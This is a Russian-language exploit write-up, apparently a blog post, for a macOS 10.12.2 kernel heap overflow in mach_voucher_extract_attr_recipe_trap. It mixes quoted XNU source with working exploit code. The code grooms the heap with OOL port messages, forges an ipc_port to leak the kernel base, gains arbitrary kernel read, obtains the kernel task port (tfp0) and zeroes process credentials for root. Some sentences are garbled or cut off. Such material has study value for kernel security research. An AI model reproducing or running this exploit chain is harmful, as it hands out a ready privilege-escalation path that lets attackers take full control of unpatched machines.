
на Mac 10.12.2
На этот раз для повышения привилегий используется уязвимость в mach_voucher_extract_attr_recipe_trap, а основной метод эксплуатации — через сообщения MACH_MSG_OOL_PORTS_DESCRIPTOR.
Если кратко о mach_msg ool: при отправке msg, содержащего ool descriptor, ядро копирует указанные данные из пользовательского пространства в пространство ядра, и ядро хранит эти данные до тех пор, пока целевая задача не обработает сообщение. Аналогично, когда целевой процесс получает сообщение с ool descriptor, ядро копирует данные из пространства ядра в пользовательское пространство (не обязательно реальное копирование). Поэтому эту технику можно использовать для записи данных в кучу ядра или чтения данных из ядра.
Поскольку эксплуатация этой уязвимости значительно сложнее, чем Trident, я буду разбирать её шаг за шагом: от точки возникновения уязвимости до поэтапной эксплуатации. Код можно найти в моём github.
Среди новых функций, добавленных в iOS 10 и macOS 10.12, есть функция под названием mach_voucher_extract_attr_recipe_trap, которая является Mach trap, вызываемым из песочницы. Исходный код этой функции:
kern_return_t
mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;
// Копируем адрес recipe_size в sz, теперь sz содержит значение kalloc_size
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz))) <---------- (a)
return KERN_MEMORY_ERROR;
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;
voucher = convert_port_name_to_voucher(args->voucher_name);
if (voucher == IV_NULL)
return MACH_SEND_INVALID_DEST;
mach_msg_type_number_t __assert_only max_sz = sz;
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* сохраняем небольшие рецепты на стеке для скорости */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
} else {
uint8_t *krecipe = kalloc((vm_size_t)sz); <---------- (b)
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) { <----------- (c)
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
kfree(krecipe, (vm_size_t)sz);
}
kr = copyout(&sz, args->recipe_size, sizeof(sz));
done:
ipc_voucher_release(voucher);
return kr;
}
args->recipe_size записывается в sz.sz находится между MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) и MACH_VOUCHER_TRAP_STACK_LIMIT (256), то в соответствии со значением sz выделяется буфер в куче ядра.sz, использованный для выделения кучи, а указатель из пользовательского пространства. Таким образом возникает переполнение кучи, которое мы используем для атаки. Кроме того, функция copyin имеет особенность: при встрече с unmapped страницей она прекращает копирование. Эта особенность будет использована в нашем poc:freelist мы не знаем положение заново выделенных блоков памяти.Сначала нужно разобраться, как ядро обрабатывает MACH_MSG_OOL_PORTS_DESCRIPTOR в mach msg. Когда ядро получает сложное сообщение и обнаруживает ports descriptor, оно передаёт его функции ipc_kmsg_copyin_ool_ports_descriptor (вызываемой из ipc_kmsg_copyin), которая читает все объекты port. Эта функция вызывает kalloc для выделения необходимой памяти (в 64-битной системе выделяемый размер в 2 раза больше входного, длина name — 4 байта), затем преобразует валидные port из name в реальный адрес объекта ipc_port и сохраняет их. Для name, равного MACH_PORT_NULL или MACH_PORT_DEAD, они остаются без изменений.
/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) {
*mr = MACH_SEND_TOO_LARGE;
return NULL;
}
if(ports_length == 0){
return user_desc;
}
data = kalloc(ports_length); // Выделение пространства
...
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue;
}
...
}
Поэтому при атаке мы будем отправлять большое количество MACH_PORT_DEAD, заполняя область памяти значением 0xFFFFFFFFFFFFFFFF (MACH_PORT_DEAD), затем инициируем уязвимость, изменяя один из IPC_PORT_DEAD на заранее подготовленную нами область памяти. Если эта область является валидной структурой ipc port, то после приёма сообщения OOL PORTS мы сможем в пользовательском пространстве получить port name, соответствующий этому ipc_port, и продолжить атаку.
ipc_objectСначала мы получили этот fake port. Для дальнейшей утечки информации необходимо знать, по каким параметрам ядро обрабатывает его по-разному. Рассмотрим структуру ipc_port:
struct ipc_port {
// Указатель на ipc_object находится в первых восьми байтах, это объект нашей атаки переполнением
struct ipc_object ip_object; // тип объекта port struct ipc_mqueue,ip_messages;
struct ipc_mqueue ip_messages; // очередь сообщений
union {
struct ipc_space *receiver;
struct ipc_port *destination;
ipc_port_timestamp_t timestamp;
}data;
union {
ipc_importance_task_t imp_task;
ipc_kobject_t kobject; // объект ядра, соответствующий port
uintptr_t alias;
}kdata;
...
} __attribute__((__packed__));
Один из них — объект ядра, соответствующий порту. Тип объекта ядра, которому соответствует ipc_port, определяется свойствами ipc_object. Таким образом, мы фактически конструируем ipc_object.
fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; // устанавливаем как объект IKOT_CLOCK и активируем
fakeport->io_lock_data[12] = 0x11; // устанавливаем блокировку порта активной, чтобы избежать deadlock
Ядро будет воспринимать этот ipc_port как порт для связи с объектом IKOT_CLOCK. Следующая цель — утечка базового адреса ядра.
Подделываем этот ipc_port как объект IKOT_CLOCK, затем устанавливаем указатель kdata.kobject на адрес в ядре. Каждый раз после изменения этого адреса вызываем в пользовательском пространстве clock_sleep_trap, ядро вызывает port_name_to_clock, получает этот адрес и передаёт его как параметр clock в clock_sleep_internal. Исходный код:
static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
if (clock == CLOCK_NULL)
return (KERN_INVALID_ARGUMENT);
if (clock != &clock_list[SYSTEM_CLOCK])
return (KERN_FAILURE);
...
}
Из кода видно, что если адрес clock не равен адресу clock_list[SYSTEM_CLOCK], возвращается KERN_FAILURE, иначе — другой код. Используя возвращаемые параметры, мы можем выполнять перебор (постоянно изменяя значение kobject), пока не получим KERN_FAILURE. Таким образом мы получаем адрес clock_list[SYSTEM_CLOCK] в ядре. Этот адрес находится не в куче, а является глобальной переменной ядра с определённым смещением. Затем, начиная с этого адреса, читаем заголовок каждой страницы вперёд, пока не найдём MH_MAGIC_64, то есть 0xfeedfacf.
extern struct clock_ops sysclk_ops, calend_ops;
struct clock clock_list[] = {
{&sysclk_ops, 0, 0},
{&calend_ops, 0, 0}
};
Получив этот адрес, необходимо преобразовать наш объект в тип task и найти базовый адрес ядра, чтобы вычислить kslide и затем выполнить tfp0.
// Меняем тип fake port на task, так как нужно использовать интерфейс pid_for_task для произвольного чтения
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;
Получаем адрес kobject, переходим к началу страницы. В Poc'ах Yalu102 и Zheng min последовательность этих операций различается, но это не влияет, так как адрес faketask также находится на этой странице. После операции AND мы получаем начальный адрес страницы.
uint64_t leaked_ptr = *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;
Затем пишем бесконечный цикл для поиска MH_MAGIC_64 и переходим к фазе tfp0:
while (1) {
int leaked = 0;
*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
pid_for_task(foundport, &leaked);
if (leaked == MH_MAGIC_64) {
printf("found kernel text at 0x%llx\n", leaked_ptr);
break;
}
// предыдущая страница
leaked_ptr -= 0x4000;
}
Почему удаётся достичь произвольного чтения? Потому что функция pid_for_task не проверяет значение переданного аргумента, а просто преобразует его в адрес и выполняет некоторые арифметические операции:
kern_return_t pid_for_task(struct pid_for_task_args *args){
mach_port_t t = args->t;
...
t1 = port_name_to_task(t);
p = get_bsdtask_info(t1);
if(p){
pid = proc_id(p);
err = KERN_SUCCESS;
}
...
(void) copyout((char *)&pid, pid_addr, sizeof(int));
AUDIT_MACH_SYSCALL_EXIT(err);
return err;
}
//pid_for_task_args
struct pid_for_task_args{
PAD_ARG(mach_port_name_t t);
PAD_ARG(user_addr_r pid);
};
pid_for_task
Весь процесс: находим цепочку процессов ядра, проходим по ней, чтобы найти адрес своего процесса и адрес pid0. Затем, используя процесс ядра, получаем адрес kernel task. Из kernel task получаем itk_sself (port kernel task). Далее перезаписываем информацию поддельного ipc port данными kernel task, устанавливаем fake port на поддельный kernel task, а bootstrap port kernel task устанавливаем на реальный порт kernel task. После этого через интерфейс task_get_special_port получаем порт kernel task и реализуем произвольное чтение/запись, меняя права нашего proc на .
uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
for (int i = 0; i < 0x1000/4; i++) {
kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}
for (int i = 0; i < 0x1000/4; i++) {
kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;
//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);
fakeport->io_bits = 0;
uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;
printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));
//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);
pwn
root